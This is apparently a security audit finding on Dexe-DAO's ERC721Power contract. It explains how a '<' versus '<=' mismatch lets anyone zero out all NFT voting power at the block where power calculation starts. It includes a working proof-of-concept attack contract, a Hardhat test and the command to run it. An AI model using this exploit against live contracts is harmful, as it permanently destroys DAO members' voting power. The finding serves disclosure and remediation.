Attacker can destroy user voting power by setting `ERC721Power::totalPower` and all existing NFTs `currentPower` to 0
Attacker can destroy user voting power by setting `ERC721Power::totalPower` & all existing nfts' `currentPower` to 0 via a permission-less attack contract by exploiting a discrepancy ("<" vs "<=") in `ERC721Power` L144 & L172:\\n```\\nfunction recalculateNftPower(uint256 tokenId) public override returns (uint256 newPower) {\\n    // @audit execution allowed to continue when\\n    // block.timestamp == powerCalcStartTimestamp\\n    if (block.timestamp < powerCalcStartTimestamp) {\\n        return 0;\\n    }\\n    // @audit getNftPower() returns 0 when\\n    // block.timestamp == powerCalcStartTimestamp\\n    newPower = getNftPower(tokenId);\\n\\n    NftInfo storage nftInfo = nftInfos[tokenId];\\n\\n    // @audit as this is the first update since power\\n    // calculation has just started, totalPower will be\\n    // subtracted by nft's max power\\n    totalPower -= nftInfo.lastUpdate != 0 ? nftInfo.currentPower : getMaxPowerForNft(tokenId);\\n    // @audit totalPower += 0 (newPower = 0 in above line)\\n    totalPower += newPower;\\n\\n    nftInfo.lastUpdate = uint64(block.timestamp);\\n    // @audit will set nft's current power to 0\\n    nftInfo.currentPower = newPower;\\n}\\n\\nfunction getNftPower(uint256 tokenId) public view override returns (uint256) {\\n    // @audit execution always returns 0 when\\n    // block.timestamp == powerCalcStartTimestamp\\n    if (block.timestamp <= powerCalcStartTimestamp) {\\n        return 0;\\n```\\n\\nThis attack has to be run on the exact block that power calculation starts (when block.timestamp == ERC721Power.powerCalcStartTimestamp).
Resolve the discrepancy between `ERC721Power` L144 & L172.
`ERC721Power::totalPower` & all existing nft's `currentPower` are set 0, negating voting using `ERC721Power` since `totalPower` is read when creating the snapshot and `GovUserKeeper::getNftsPowerInTokensBySnapshot()` will return 0 same as if the nft contract didn't exist. Can also negatively affect the ability to create proposals.\\nThis attack is extremely devastating as the individual power of `ERC721Power` nfts can never be increased; it can only decrease over time if the required collateral is not deposited. By setting all nfts' `currentPower = 0` as soon as power calculation starts (block.timestamp == ERC721Power.powerCalcStartTimestamp) the `ERC721Power` contract is effectively completely bricked - there is no way to "undo" this attack unless the nft contract is replaced with a new contract.\\nDexe-DAO can be created using only nfts for voting; in this case this exploit which completely bricks the voting power of all nfts means a new DAO has to be re-deployed since no one can vote as everyone's voting power has been destroyed.\\nProof of Concept: Add attack contract mock/utils/ERC721PowerAttack.sol:\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.4;\\n\\nimport "../../gov/ERC721/ERC721Power.sol";\\n\\nimport "hardhat/console.sol";\\n\\ncontract ERC721PowerAttack {\\n    // this attack can decrease ERC721Power::totalPower by the the true max power of all\\n    // the power nfts that exist (to zero), regardless of who owns them, and sets the current\\n    // power of all nfts to zero, totally bricking the ERC721Power contract.\\n    //\\n    // this attack only works when block.timestamp == nftPower.powerCalcStartTimestamp\\n    // as it takes advantage of a difference in getNftPower() & recalculateNftPower():\\n    //\\n    // getNftPower() returns 0 when block.timestamp <= powerCalcStartTimestamp\\n    // recalculateNftPower returns 0 when block.timestamp < powerCalcStartTimestamp\\n    function attack(\\n        address nftPowerAddr,\\n        uint256 initialTotalPower,\\n        uint256 lastTokenId\\n    ) external {\\n        ERC721Power nftPower = ERC721Power(nftPowerAddr);\\n\\n        // verify attack starts on the correct block\\n        require(\\n            block.timestamp == nftPower.powerCalcStartTimestamp(),\\n            "ERC721PowerAttack: attack requires block.timestamp == nftPower.powerCalcStartTimestamp"\\n        );\\n\\n        // verify totalPower() correct at starting block\\n        require(\\n            nftPower.totalPower() == initialTotalPower,\\n            "ERC721PowerAttack: incorrect initial totalPower"\\n        );\\n\\n        // call recalculateNftPower() for every nft, this:\\n        // 1) decreases ERC721Power::totalPower by that nft's max power\\n        // 2) sets that nft's currentPower = 0\\n        for (uint256 i = 1; i <= lastTokenId; ) {\\n            require(\\n                nftPower.recalculateNftPower(i) == 0,\\n                "ERC721PowerAttack: recalculateNftPower() should return 0 for new nft power"\\n            );\\n\\n            unchecked {\\n                ++i;\\n            }\\n        }\\n\\n        require(\\n            nftPower.totalPower() == 0,\\n            "ERC721PowerAttack: after attack finished totalPower should equal 0"\\n        );\\n    }\\n}\\n```\\n\\nAdd test harness to ERC721Power.test.js:\\n```\\n    describe("audit attacker can manipulate ERC721Power totalPower", () => {\\n      it("audit attack 1 sets ERC721Power totalPower & all nft currentPower to 0", async () => {\\n        // deploy the ERC721Power nft contract with:\\n        // max power of each nft = 100\\n        // power reduction 10%\\n        // required collateral = 100\\n        let maxPowerPerNft = toPercent("100");\\n        let requiredCollateral = wei("100");\\n        let powerCalcStartTime = (await getCurrentBlockTime()) + 1000;\\n        // hack needed to start attack contract on exact block due to hardhat\\n        // advancing block.timestamp in the background between function calls\\n        let powerCalcStartTime2 = (await getCurrentBlockTime()) + 999;\\n\\n        // create power nft contract\\n        await deployNft(powerCalcStartTime, maxPowerPerNft, toPercent("10"), requiredCollateral);\\n\\n        // ERC721Power::totalPower should be zero as no nfts yet created\\n        assert.equal((await nft.totalPower()).toFixed(), toPercent("0").times(1).toFixed());\\n\\n        // create the attack contract\\n        const ERC721PowerAttack = artifacts.require("ERC721PowerAttack");\\n        let attackContract = await ERC721PowerAttack.new();\\n\\n        // create 10 power nfts for SECOND\\n        await nft.safeMint(SECOND, 1);\\n        await nft.safeMint(SECOND, 2);\\n        await nft.safeMint(SECOND, 3);\\n        await nft.safeMint(SECOND, 4);\\n        await nft.safeMint(SECOND, 5);\\n        await nft.safeMint(SECOND, 6);\\n        await nft.safeMint(SECOND, 7);\\n        await nft.safeMint(SECOND, 8);\\n        await nft.safeMint(SECOND, 9);\\n        await nft.safeMint(SECOND, 10);\\n\\n        // verify ERC721Power::totalPower has been increased by max power for all nfts\\n        assert.equal((await nft.totalPower()).toFixed(), maxPowerPerNft.times(10).toFixed());\\n\\n        // fast forward time to the start of power calculation\\n        await setTime(powerCalcStartTime2);\\n\\n        // launch the attack\\n        await attackContract.attack(nft.address, maxPowerPerNft.times(10).toFixed(), 10);\\n      });\\n    });\\n```\\n\\nRun attack with: `npx hardhat test --grep "audit attack 1 sets ERC721Power totalPower & all nft currentPower to 0"`
```\\nfunction recalculateNftPower(uint256 tokenId) public override returns (uint256 newPower) {\\n    // @audit execution allowed to continue when\\n    // block.timestamp == powerCalcStartTimestamp\\n    if (block.timestamp < powerCalcStartTimestamp) {\\n        return 0;\\n    }\\n    // @audit getNftPower() returns 0 when\\n    // block.timestamp == powerCalcStartTimestamp\\n    newPower = getNftPower(tokenId);\\n\\n    NftInfo storage nftInfo = nftInfos[tokenId];\\n\\n    // @audit as this is the first update since power\\n    // calculation has just started, totalPower will be\\n    // subtracted by nft's max power\\n    totalPower -= nftInfo.lastUpdate != 0 ? nftInfo.currentPower : getMaxPowerForNft(tokenId);\\n    // @audit totalPower += 0 (newPower = 0 in above line)\\n    totalPower += newPower;\\n\\n    nftInfo.lastUpdate = uint64(block.timestamp);\\n    // @audit will set nft's current power to 0\\n    nftInfo.currentPower = newPower;\\n}\\n\\nfunction getNftPower(uint256 tokenId) public view override returns (uint256) {\\n    // @audit execution always returns 0 when\\n    // block.timestamp == powerCalcStartTimestamp\\n    if (block.timestamp <= powerCalcStartTimestamp) {\\n        return 0;\\n```\\n